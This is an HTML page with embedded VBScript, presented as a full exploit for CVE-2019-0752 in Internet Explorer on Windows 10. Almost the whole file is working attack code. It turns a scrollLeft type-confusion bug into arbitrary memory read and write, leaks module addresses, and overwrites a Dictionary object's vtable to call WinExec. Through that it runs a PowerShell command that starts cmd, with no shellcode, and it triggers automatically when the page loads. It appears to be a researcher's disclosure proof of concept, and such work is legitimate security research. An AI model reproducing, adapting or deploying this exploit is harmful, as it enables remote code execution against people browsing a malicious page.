<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752                                      -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level)               -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->

<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get    -->
<!-- all the way to RCE using no shellcode.                                                     -->

<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10.                              -->
<!--    (h/t: James Forshaw, Google Project Zero)                                               -->

<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<body>
	<div id="container1" style="overflow:scroll; width: 10px">
		<div id="content1" style="width:5000000px">
			Content
		</div>
	</div>
<script language="VBScript.Encode">
Dim ar1(&h3000000)
Dim ar2(1000)
Dim gremlin
addressOfGremlin = &h28281000

Class MyClass
	Private mValue
	Public Property Let Value(v)
		mValue = v
	End Property
	Public Default Property Get P
		P = mValue				' Where to write
	End Property
End Class

Sub TriggerWrite(where, val)
	Dim v1
	Set v1 = document.getElementById("container1")
	v1.scrollLeft = val		' Write this value (Maximum: 0x001767dd)
	Dim c
	Set c = new MyClass
	c.Value = where
	Set v1.scrollLeft = c
End Sub

' Our vulnerability does not immediately give us an unrestricted
' write (though we could manufacture one). For our purposes, the
' following is sufficient. It writes an arbitrary DWORD to an
' arbitrary location, and sets the subsequent 3 bytes to zero.
Sub WriteInt32With3ByteZeroTrailer(addr, val)
	TriggerWrite addr    , (val) AND &hff
	TriggerWrite addr + 1, (val\&h100) AND &hff
	TriggerWrite addr + 2, (val\&h10000) AND &hff
	TriggerWrite addr + 3, (val\&h1000000) AND &hff
End Sub

Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
	For i = 0 To Len(str) - 1
		TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
	Next
End Sub

Function ReadInt32(addr)
	WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
	ReadInt32 = ar1(gremlin)
End Function

Function LeakAddressOfObject(obj)
	Set ar1(gremlin + 1) = obj
	LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
End Function

Sub Exploit()
	' Corrupt vt of one array element (the "gremlin")
	TriggerWrite addressOfGremlin, &h4003	' VT_BYREF | VT_I4

	For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
		If Not IsEmpty(ar1(i)) Then
			gremlin = i
			Exit For
		End If
	Next
	
	If IsEmpty(gremlin) Then
		MsgBox "Could not find gremlin"
		Exit Sub
	End If
	
	For i = 0 To UBound(ar2)
		Set ar2(i) = CreateObject("Scripting.Dictionary")
	Next
	
	Set dict = ar2(UBound(ar2) / 2)
	addressOfDict = LeakAddressOfObject(dict)
	vtableOfDict = ReadInt32(addressOfDict)
	scrrun = vtableOfDict - &h11fc
	kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
	winExec = kernel32 + &h5d380
	
	dict.Exists "dummy"		' Make a dispatch call, just to populate pld

	' Relocate pld to ensure its address doesn't contain a null byte
	pld = ReadInt32(addressOfDict + &h3c)
	fakePld = &h28281020
	For i = 0 To 3 - 1
		WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
	Next
	
	fakeVtable = &h28282828		' ASCII "(((("
	For i = 0 To 21
		If i = 12 Then		' Dictionary.Exists
			fptr = winExec
		Else
			fptr = ReadInt32(vtableOfDict + 4 * i)
		End If
		WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
	Next
	
	WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
	WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
	WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""
	
	On Error Resume Next
	dict.Exists "dummy"		' Wheeee!!
	
	' A little cleanup to help prevent crashes after the exploit
	For i = 1 To 3
		WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
		WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
	Next
	Erase Dict
	Erase ar2
End Sub

Exploit
</script>
</body>
</html>
